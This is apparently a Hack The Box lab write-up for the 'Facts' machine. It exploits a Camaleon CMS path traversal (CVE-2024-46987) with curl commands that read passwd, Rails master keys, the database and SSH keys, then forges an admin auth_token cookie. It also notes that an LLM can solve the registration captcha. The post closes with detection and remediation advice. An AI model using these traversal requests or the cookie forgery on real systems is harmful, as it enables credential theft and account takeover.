Skip to content
Back to all posts

HTB: Facts

· 17 min medium Linux Facts

A path traversal in Camaleon CMS exposes Rails master keys, SQLite databases, and authentication tokens, enabling admin takeover through cookie forgery on a Ruby on Rails 8 application.

Overview

Facts is a medium Linux box running Camaleon CMS 2.9.0 on Rails 8.0.2. The attack chain is almost entirely application-layer: a path traversal vulnerability (CVE-2024-46987) in the media download endpoint allows reading arbitrary files as the Rails process user. This single primitive cascades into full application compromise: the Rails master key decrypts the secret_key_base, the SQLite database exposes admin authentication tokens, and Camaleon’s cookie validation design allows direct admin impersonation by swapping a cookie value.

The box demonstrates how a single file-read vulnerability, when applied methodically against a Rails application, can compromise every layer of the application’s security model.

Reconnaissance

nmap -sV -sC -oA scans/facts 10.129.13.208
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.9p1 UbuntuStandard SSH
80HTTPnginx 1.26.3Redirects to facts.htb

Two services. HTTP redirects to facts.htb. Response headers reveal the stack: a plugin_front_cache: TRUE header is a Camaleon CMS fingerprint, and the cookie name _factsapp_session confirms a Rails application. The admin panel at /admin/login confirms Camaleon CMS.

Attack Surface Analysis

User registration

Camaleon CMS exposes a public registration form at /admin/register protected by a five-character image captcha. Registration creates a client-role account with access to the media browser and download endpoints. The captcha is simple distorted text readable by a multimodal LLM.

Session continuity matters: the captcha answer is stored server-side against the session cookie. The CSRF token, captcha image, and registration POST must share the same session. Breaking this chain causes validation failures.

CVE triage

Camaleon CMS 2.9.0 is affected by the GHSL-2024-182 through GHSL-2024-186 advisory bundle. Two CVEs are relevant:

CVETypeStatus on this box
CVE-2024-46986Arbitrary file writePatched
CVE-2024-46987Arbitrary file readVulnerable

The file write vulnerability (CVE-2024-46986) was tested first. Directory traversal in the upload endpoint is blocked server-side. The file read vulnerability, however, is fully exploitable.

Vulnerability Analysis

CVE-2024-46987: arbitrary file read

AttributeValue
CVECVE-2024-46987
CWECWE-22 (Path Traversal)
Root causedownload_private_file prepends private/ to user input without path normalisation
Auth requiredAny authenticated user (including self-registered)

The MediaController#download_private_file method:

def download_private_file
  cama_uploader.enable_private_mode!
  file = cama_uploader.fetch_file("private/#{params[:file]}")
  send_file file, disposition: 'inline'
end

The private/ prefix is trivially escaped with ../../../../../../. Any file readable by the trivia system user (the Rails process owner) can be exfiltrated. No path normalisation is applied before send_file.

Authentication design flaw

Camaleon’s session architecture has a critical weakness. On login, the application sets an auth_token cookie containing the user’s database token, User-Agent, and IP address separated by &. On each request, the validation code:

  1. Checks that the cookie value splits into exactly three parts on &
  2. Looks up the first part in the cama_users table
  3. Returns the matching user

It does not validate the User-Agent or IP address against the current request. These values are stored but never compared. Any user who obtains another user’s auth_token from the database can impersonate them.

Exploitation

Step 1: registration and file read

After registering a client account, the file read primitive is immediately available:

curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../etc/passwd"

Two interactive users confirmed: trivia (uid 1000, runs the Rails app) and william (uid 1001, owns the user flag).

Step 2: Rails master key and credentials

# Master key
curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/config/master.key"
# Returns: b0650437b2208a9fab449fb92f67bc40

# Encrypted credentials
curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/config/credentials.yml.enc"

Rails encrypts credentials.yml.enc using ActiveSupport::MessageEncryptor with a key derived from the master key. Decryption produces the secret_key_base, which allows forging any Rails-signed data: session cookies, CSRF tokens, and message verifier outputs.

Step 3: SQLite database extraction

curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../proc/self/cwd/storage/production.sqlite3" \
  -o production.sqlite3

The cama_users table contains:

usernameroleauth_token
adminadmin1QGOA6YxgFANPE6XlGYPpg

The admin’s bcrypt hash uses cost factor 12. Cracking it is possible but unnecessary: the auth_token is the faster path.

Step 4: user flag via direct file read

curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../home/william/user.txt"

User flag captured.

Step 5: admin impersonation via auth token forgery

The authentication design flaw makes admin access trivial once the database token is known. I replace the auth_token cookie value, swapping my client token for the admin token:

sed -i 's/CLIENT_TOKEN/1QGOA6YxgFANPE6XlGYPpg/' cookies.txt

curl -b cookies.txt http://facts.htb/admin/users     # 200 OK
curl -b cookies.txt http://facts.htb/admin/plugins    # 200 OK

Full admin access to user management, plugin configuration, and theme editing.

Post-Exploitation

SSH key extraction

The file read also yields trivia’s SSH private key:

curl -s -b "$COOKIES" \
  "http://facts.htb/admin/media/download_private_file?file=\
../../../../../../home/trivia/.ssh/id_ed25519"

The key is encrypted with AES-256-CTR and bcrypt KDF (24 rounds). The low round count makes passphrase cracking feasible with a targeted wordlist. This would provide SSH access as the Rails process user.

Infrastructure intelligence

Files read via the path traversal reveal the full application architecture:

FileIntelligence
GemfileRails 8.0.2, Camaleon CMS 2.9.0
config/database.ymlSQLite at storage/production.sqlite3
systemd/factsapp.serviceRuns as trivia, binds 127.0.0.1:3000
systemd/ministack.serviceRoot-owned service (privesc target)

The ministack.service running as root from /root/ministack/staging/start.sh is the likely privilege escalation target once a shell is obtained.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190Path traversal sequences in media download requests
CollectionT1005Bulk file reads via download_private_file
Credential accessT1552.001Reads of config/master.key, credentials.yml.enc
Privilege escalationT1134auth_token cookie modification between requests

Application-level: WAF rules should block ../ sequences in query parameters. Request logging for the download_private_file endpoint would reveal the traversal pattern immediately.

Host-level: The Rails process reading its own config/master.key is normal. The anomaly is the read pattern: master.key, then credentials.yml.enc, then production.sqlite3 in rapid succession from the same session. Correlation across reads reveals the attack.

Remediation

PriorityActionEffortImpact
P0Patch CVE-2024-46987 (path normalisation)LowCritical
P1Validate User-Agent and IP in auth_token cookieMediumHigh
P1Move master.key to environment variableLowHigh
P1Run Rails under a dedicated service accountMediumHigh
P2Implement server-side session storeMediumMedium
P2Rate-limit the captcha endpointLowMedium
P3Add Content-Security-Policy headersLowLow

The path traversal fix is straightforward: resolve the path with File.expand_path and verify it stays within the intended upload directory. The authentication design is a deeper problem. Storing a database token in a client-readable cookie and using it as the sole authentication factor, without validating any of the additional context stored alongside it, is a design flaw that enables impersonation from any position with database read access.

Key Takeaways

  1. A single file-read primitive can compromise an entire Rails application. The master key decrypts credentials, credentials expose the secret_key_base, and the database exposes authentication tokens. Each file read escalates the attacker’s capability.

  2. Storing tokens without validating context is not authentication. The auth_token cookie contains User-Agent and IP, but neither is verified. They are decorative. Authentication that can be replayed by copying a value from the database is not authentication.

  3. /proc/self/cwd bypasses unknown application paths. When the application’s filesystem location is unknown, /proc/self/cwd resolves to the working directory of the current process. This eliminates guesswork for application-relative file reads.

  4. The file write vulnerability was patched; the file read was not. Partial patching creates false confidence. The deployment applied fixes for CVE-2024-46986 but left CVE-2024-46987 open. Both are in the same advisory bundle. Security patches should be applied comprehensively.

  5. Captcha is not an authentication boundary. The captcha protects registration, but registration creates accounts with access to the vulnerable endpoint. A five-character distorted text captcha is not a meaningful barrier against a motivated attacker.